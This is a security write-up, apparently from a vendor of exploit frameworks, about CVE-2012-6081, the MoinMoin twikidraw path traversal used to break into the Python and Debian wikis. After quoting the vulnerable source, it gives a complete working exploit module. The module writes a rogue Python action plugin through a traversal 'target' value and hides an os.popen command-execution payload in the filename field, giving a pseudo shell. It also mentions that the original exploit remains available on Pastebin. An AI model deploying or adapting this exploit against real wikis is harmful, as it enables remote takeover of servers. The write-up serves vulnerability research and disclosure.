During 2012 two major wikis (Python and Debian) have been comprised. The breaches have been analysed and the results of the forensics revealed that the root cause was a vulnerability in MoinMoin wiki (see http://wiki.debian.org/DebianWiki/SecurityIncident2012 and http://wiki.debian.org/DebianWiki/SecurityIncident2012).
The vulnerability is a directory traversal in twikidraw and anywikidraw action plugins of MoinMoin wiki. The target parameter of these plugins is not filtered and it is used to write a tar archive. The destination (with target parameter) and the content (with filename and filepath parameters) of this tar file can be controlled.
class TwikiDraw(object): """ twikidraw action """ def __init__(self, request, pagename, target): self.request = request self.pagename = pagename self.target = target def save(self): request = self.request _ = request.getText if not wikiutil.checkTicket(request, request.args.get('ticket', '')): return _('Please use the interactive user interface to use action %(actionname)s!') % {'actionname': 'twikidraw.save' } pagename = self.pagename target = self.target if not request.user.may.write(pagename): return _('You are not allowed to save a drawing on this page.') if not target: return _("Empty target name given.") file_upload = request.files.get('filepath') if not file_upload: # This might happen when trying to upload file names # with non-ascii characters on Safari. return _("No file content. Delete non ASCII characters from the file name and try again.") filename = request.form['filename'] basepath, basename = os.path.split(filename) basename, ext = os.path.splitext(basename) ci = AttachFile.ContainerItem(request, pagename, target) filecontent = file_upload.stream content_length = None if ext == '.draw': # TWikiDraw POSTs this first AttachFile._addLogEntry(request, 'ATTDRW', pagename, target) ci.truncate() filecontent = filecontent.read() # read file completely into memory filecontent = filecontent.replace("\r", "") elif ext == '.map': # touch attachment directory to invalidate cache if new map is saved attach_dir = AttachFile.getAttachDir(request, pagename) os.utime(attach_dir, None) filecontent = filecontent.read() # read file completely into memory filecontent = filecontent.strip() else: #content_length = file_upload.content_length # XXX gives -1 for wsgiref :( If this is fixed, we could use the file obj, # without reading it into memory completely: filecontent = filecontent.read() ci.put('drawing' + ext, filecontent, content_length) [...]
The following source code shows the tar file writing.
class ContainerItem: """ A storage container (multiple objects in 1 tarfile) """ def __init__(self, request, pagename, containername): self.request = request self.pagename = pagename self.containername = containername self.container_filename = getFilename(request, pagename, containername) [...] def put(self, member, content, content_length=None): """ save data into a container's member """ tf = tarfile.TarFile(self.container_filename, mode='a') if isinstance(member, unicode): member = member.encode('utf-8') ti = tarfile.TarInfo(member) if isinstance(content, str): if content_length is None: content_length = len(content) content = StringIO(content) # we need a file obj elif not hasattr(content, 'read'): logging.error("unsupported content object: %r" % content) raise assert content_length >= 0 # we don't want -1 interpreted as 4G-1 ti.size = content_length tf.addfile(ti, content) tf.close()
MoinMoin wiki provides action plugins but you can add your own Python action plugin. MoinMoin can be runned as a standalone server, a CGI script or a WSGI script. So to exploit this vulnerability you can create your own Python action plugin in the right directory (thanks to path traversal) with the Python code you want. The file created with the vulnerability will be a tar file so it can be difficult to build the tar archive as a valid Python script. It's more reliable to use the file information field of the tar archive (available at the beginning of the file) controlled by the filename parameter of the twikidraw action plugin.
The payload of the exploit will be the Python code of the action plugin but you will need to build it with filename constraints. Actually the payload will be the file ext of the filename parameter. The original exploit (moinexec.py) that was used for the Python and Debian compromission is still available on Pastebin. The payload is interesting and it can be reused.
Now you can develop the exploit with D2 Elliot. As usual you must select you exploit class (xRCERegexp for this case) and defined your header.
# modules.exploits.moinmoin_rce # # Copyright DSquare Security, LLC, 2013 # from core.templates.exploits import * from core.net.http import File from core.helpers.random import alphanum import re class MyExploit(xRCERegexp): # Unique exploit id uid = 'CE-8' # Mandatory exploit header _extra_description = { 'name': 'MoinMoin 1.9.5 RCE', 'creation': '2013/02/08 10:54:44 AM', 'lastupdate': '2013/02/08 09:15:41 PM', 'description': 'Remote command execution vulnerability in MoinMoin twikidraw action', 'comment': '', 'author': ('',), 'vendor': 'MoinMoin', 'zeroday': False, 'published': '2012/12/29', 'references': ('http://moinmo.in/SecurityFixes/CVE-2012-6081',), 'cve': ('CVE-2012-6081',), 'vulnid': ('',), 'platform': Platform.All, 'application': 'MoinMoin', 'version': ('<= 1.9.5',), 'module': '', 'requirements': {}, 'payload': Payload.OSCommand, 'family': Family.RCE, 'googledork': '', 'stealth': Stealth.Stealth, } # Page used to get the ticket _extra_parameters = { 'modify_page' : models.Text('modify_page', 'Edit page', 'WikiSandBox?action=twikidraw&do=modify&target=../../../plugin/action/<FILENAME>.py') } # URL to use the twikidraw action plugin vuln_page_default = 'WikiSandBox?action=twikidraw&do=save&ticket=<TICKET>&target=../../../plugin/action/<FILENAME>.py' # 404 page will be ignored def on_404(self, response, request): return # Main method of the exploit def exploit(self): # Create a random name for our action plugin because plugin with the same name is not overwritten action_name = alphanum(8) # Get the ticket to simulate the interactive user interface url = self.parameters.modify_page.replace('<FILENAME>', action_name) response = self.request(url) m = re.search('ticket=(.*?)&target', response.data_str) if m is None: raise ExploitFailure('Ticket not found') ticket = m.group(1) # Create remote Python action plugin payload = 'drawing.r if()else[]\nimport os\ndef execute(p,r):exec"print>>r,os\\56popen(r\\56values[\'c\'])\\56read()"' url = self.parameters.vuln_page.replace('<FILENAME>', action_name) url = url.replace('<TICKET>', ticket) self.request(url, data={ 'filename': payload, 'filepath': File( name = 'drawing.png', type = 'image/png', content = '' ) }) # URL to send command to our action plugin return {'url':'WikiSandBox?action=%s&c=<PAYLOAD>'%action_name }
If MoinMoin runs as a standalone server the action plugin won't be avalaible before a server restart. For CGI script the action plugin can be used without restarting the web server. In the following video you can see how this exploit gives you a pseudo shell.